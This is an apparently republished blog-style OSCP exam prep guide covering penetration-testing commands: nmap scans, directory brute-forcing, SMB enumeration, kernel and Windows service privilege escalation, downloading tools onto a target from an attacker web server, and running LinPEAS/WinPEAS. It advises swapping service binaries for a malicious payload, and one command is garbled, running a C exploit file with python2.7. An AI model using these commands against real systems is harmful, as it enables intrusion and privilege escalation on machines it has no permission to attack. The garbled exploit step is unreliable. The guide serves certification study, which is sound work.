The Ultimate OSCP Prep Guide: 25+ Commands to Conquer the Infamous 24-Hour Exam

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Introduction:

The Offensive Security Certified Professional (OSCP) certification is the gold standard for penetration testers, renowned for its grueling 24-hour hands-on exam. This practical test demands a deep, working knowledge of exploitation, enumeration, and persistence. This guide provides the essential technical command arsenal you need to build the methodology required to succeed.

Learning Objectives:

  • Master fundamental Linux and Windows enumeration commands for thorough reconnaissance.
  • Understand and apply common exploitation techniques for privilege escalation.
  • Develop a methodology for maintaining access and pivoting across networks.

You Should Know:

1. Network Enumeration with Nmap

Nmap is the cornerstone of network reconnaissance, vital for discovering live hosts, open ports, and running services.

nmap -sC -sV -oA initial_scan 10.10.10.0/24
nmap --script vuln -oA vuln_scan 10.10.10.5
nmap -sU -p 1-1000 -oA udp_scan 10.10.10.5

`-sC`: Runs default scripts for enhanced enumeration.

-sV: Probes open ports to determine service/version info.
-oA: Outputs results in all formats (normal, grepable, XML).
--script vuln: Executes scripts that check for known vulnerabilities.
-sU: Performs a UDP scan (often overlooked but critical).
This step-by-step process builds a comprehensive map of the target network, identifying potential entry points for exploitation.

2. Web Application Directory Bruteforcing

Discovering hidden directories and files is a primary method for uncovering web application vulnerabilities.

gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.10.5/FUZZ

`dir`: Specifies directory/file bruteforcing mode.

`-u`: Target URL.

`-w`: Path to the wordlist.

`-x`: Search for files with these extensions.

Systematically fuzzing for paths often reveals admin panels, configuration files, backup directories, and other sensitive endpoints.

3. SMB Enumeration

The Server Message Block (SMB) protocol is a common vector for initial compromise and information leakage.

smbclient -L //10.10.10.5 -N
smbmap -H 10.10.10.5
enum4linux -a 10.10.10.5

smbclient -L: Lists available shares on the target host anonymously (-N).

`smbmap`: Automatically enumerates share permissions.

enum4linux -a: Runs all checks to extract users, groups, shares, and password policies.
This reconnaissance can reveal anonymously accessible shares containing sensitive data or configurations.

4. Privilege Escalation: Linux Kernel Exploitation

Identifying vulnerable kernels is a fast path to root privileges. Always check kernel version.

uname -a
searchsploit Linux Kernel 3.13.0
python2.7 /usr/share/exploits/linux/local/37292.c -o root_shell

uname -a: Displays system information, including kernel version.
searchsploit: Searches the local Exploit-DB archive for public exploits.
Compile and run the relevant exploit. Always attempt in a controlled environment first.
This process involves research and careful execution but can provide instant root access on unpatched systems.

5. Privilege Escalation: Windows Service Misconfigurations

Unquoted service paths and insecure service permissions are a common Windows privilege escalation vector.

sc qc "Vulnerable Service"
accesschk.exe /accepteula -ucqv "Vulnerable Service"
icacls "C:\Program Files\Vulnerable Service"

sc qc: Queries the configuration of a service, checking for an unquoted path.
`accesschk.exe` (Sysinternals): Checks for write permissions on a service or its directory.
icacls: Displays and modifies Access Control Lists (ACLs) on files and directories.
If you have write permissions to a service binary or its directory, you can replace it with a malicious payload to gain execution as the service account (often SYSTEM).

6. Transferring Files to the Target

Getting tools onto a target system is a fundamental step. Know multiple methods.

 On Attacker (Python3)
python3 -m http.server 80

On Target (Linux)
wget http://10.10.14.10/linpeas.sh
curl http://10.10.14.10/linpeas.sh -o linpeas.sh

On Target (Windows - PowerShell)
Invoke-WebRequest -Uri "http://10.10.14.10/winpeas.exe" -OutFile "C:\Users\Public\winpeas.exe"

python3 -m http.server: Hosts a simple web server on port 80 from your current directory.
wget/curl: Linux utilities to download files from a web server.

`Invoke-WebRequest`: The PowerShell equivalent for file download.

Having multiple transfer options is crucial as firewalls or AV may block certain methods like FTP or SMB.

7. Automated Enumeration Scripts

Scripts like LinPEAS and WinPEAS automate the tedious process of searching for privilege escalation vectors.

 After transferring the file
chmod +x linpeas.sh
./linpeas.sh

For Windows
.\winpeas.exe

These scripts run hundreds of checks for misconfigurations, weak permissions, stored passwords, and potential exploits, dramatically speeding up the post-compromise enumeration phase.

What Undercode Say:

  • Methodology is King: The OSCP is not about knowing every exploit; it’s about having a relentless, repeatable process for enumeration. Every command you run should feed into the next step.
  • Practice, Don’t Just Read: The only way to internalize these commands is to use them repeatedly in labs like Hack The Box or TryHackMe. Muscle memory for terminal commands is a pass/fail differentiator in a time-pressured exam.
    The OSCP exam is a marathon of focused execution. Success hinges on a structured approach where thoroughness trumps speed. Candidates must be adept at pivoting from one vector to the next without getting stuck, using a core toolkit of commands to constantly expand their foothold. The provided commands form the backbone of this essential methodology.

Prediction:

The value of hands-on, methodology-driven certifications like the OSCP will continue to surge as the industry moves beyond theory-based testing. Future offensive security exams will likely incorporate more advanced Active Directory environments, cloud infrastructure (AWS/Azure), and CI/CD pipeline exploitation, making the foundational skills learned in OSCP preparation more critical than ever.

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